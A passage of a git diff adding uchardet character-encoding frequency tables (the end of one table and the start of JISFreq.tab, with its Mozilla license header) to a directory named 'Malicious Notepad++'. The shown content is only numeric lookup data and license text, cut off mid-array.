867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232, +4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456, +4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121, +6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971, +6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409, +5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519, +4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367, +6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834, +4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460, +5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464, +5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709, +5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906, +6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530, +3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262, +6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920, +4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190, +5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318, +6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538, +6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697, +4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544, +5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016, +4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638, +5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006, +5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071, +4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552, +4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556, +5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432, +4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632, +4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885, +5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336, +4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729, +4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854, +4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332, +5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004, +5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419, +4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293, +3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580, +4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339, +6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341, +5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493, +5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046, +4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904, +6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728, +5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350, +6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233, +4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944, +5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413, +5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700, +3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999, +5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694, +6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571, +4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359, +6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178, +4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421, +4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330, +6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855, +3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587, +6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803, +4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791, +3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304, +3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445, +3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506, +4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856, +2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057, +5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777, +4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369, +5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028, +5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914, +5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175, +4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681, +5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534, +4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912, +5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054, +1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336, +3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666, +4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375, +4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113, +6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614, +4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173, +5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197, +3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271, +5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423, +5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529, +5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921, +3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837, +5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922, +5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187, +3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382, +5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628, +5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683, +5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053, +6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928, +4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662, +6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663, +4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554, +3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191, +4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013, +5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932, +5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055, +5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829, +3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096, +3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660, +6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199, +6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748, +5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402, +6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957, +6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668, +6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763, +6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407, +6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051, +5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429, +6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791, +6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028, +3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305, +3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159, +4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683, +4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372, +3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514, +5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544, +5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472, +5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716, +5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905, +5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327, +4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030, +5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281, +6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224, +5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327, +4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062, +4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354, +6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065, +3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953, +4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681, +4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708, +5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442, +6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387, +6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237, +4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713, +6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547, +5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957, +5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337, +5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074, +5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685, +5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455, +4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722, +5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615, +5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093, +5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989, +5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094, +6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212, +4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967, +5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733, +4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260, +4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864, +6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353, +4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095, +6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287, +3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504, +5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539, +6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750, +6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864, +6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213, +5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573, +6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252, +6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970, +3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703, +5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978, +4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767, +*******************************************************************************/ +}; + + diff --git a/Malicious Notepad++/src/uchardet/JISFreq.tab b/Malicious Notepad++/src/uchardet/JISFreq.tab new file mode 100644 index 0000000..715321f --- /dev/null +++ b/Malicious Notepad++/src/uchardet/JISFreq.tab @@ -0,0 +1,589 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +//Sampling from about 20M text materials include literature and computer technology + +// Japanese frequency table, applied to both S-JIS and EUC-JP +//They are sorted in order. + +/****************************************************************************** + * 128 --> 0.77094 + * 256 --> 0.85710 + * 512 --> 0.92635 + * 1024 --> 0.97130 + * 2048 --> 0.99431 + * + * Idea Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 + * Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 + * + * Typical Distribution Ratio, 25% of IDR + *****************************************************************************/ + +#define JIS_TYPICAL_DISTRIBUTION_RATIO (float) 3.0 + + +//Char to FreqOrder table , +#define JIS_TABLE_SIZE 4368 + +static const PRInt16 JISCharToFreqOrder[] = +{ + 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, // 16 +3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, // 32 +1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, // 48 +2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, // 64 +2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, // 80 +5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, // 96 +1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, // 112 +5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, // 128 +5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, // 144 +5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, // 160 +5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, // 176 +5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, // 192 +5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, // 208 +1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, // 224 +1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, // 240 +1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, // 256 +2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, // 272 +3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, // 288 +3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, // 304 + 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, // 320 + 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, // 336 +1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, // 352 + 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, // 368 +5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, // 384 + 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, // 400 + 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, // 416 + 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, // 432 + 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, // 448 + 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, // 464 +5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, // 480 +5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, // 496 +5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, // 512 +4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, // 528 +5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, // 544 +5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, // 560 +5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, // 576 +5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, // 592 +5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, // 608 +5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, // 624 +5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, // 640 +5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, // 656 +5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, // 672 +3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, // 688 +5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, // 704 +5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, // 720 +5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, // 736 +5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, // 752 +5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, // 768 +5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, // 784 +5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, // 800 +5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, // 816 +5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, // 832 +5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, // 848 +5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, // 864 +5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, // 880 +5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, // 896 +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, // 912 +5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, // 928 +5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, // 944 +5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, // 960 +5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, // 976 +5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, // 992 +5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, // 1008 +5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, // 1024 +5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, // 1040 +5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, // 1056 +5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, // 1072 +5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, // 1088 +5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, // 1104 +5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, // 1120 +5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, // 1136 +5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, // 1152 +5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, // 1168 +5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, // 1184 +5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, // 1200 +5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, // 1216 +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, // 1232 +5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, // 1248 +5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, // 1264 +5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, // 1280 +5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, // 1296 +6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, // 1312 +6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, // 1328 +6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, // 1344 +6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, // 1360 +6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, // 1376 +6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, // 1392 +6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, // 1408 +6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, // 1424 +4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, // 1440 + 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, // 1456 + 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, // 1472 +1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, // 1488 +1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, // 1504 + 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, // 1520 +3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, // 1536 +3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, // 1552 + 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, // 1568 +3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, // 1584 +3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, // 1600 + 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, // 1616 +2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, // 1632 + 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, // 1648 +3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, // 1664 +1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, // 1680 + 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, // 1696 +1407, 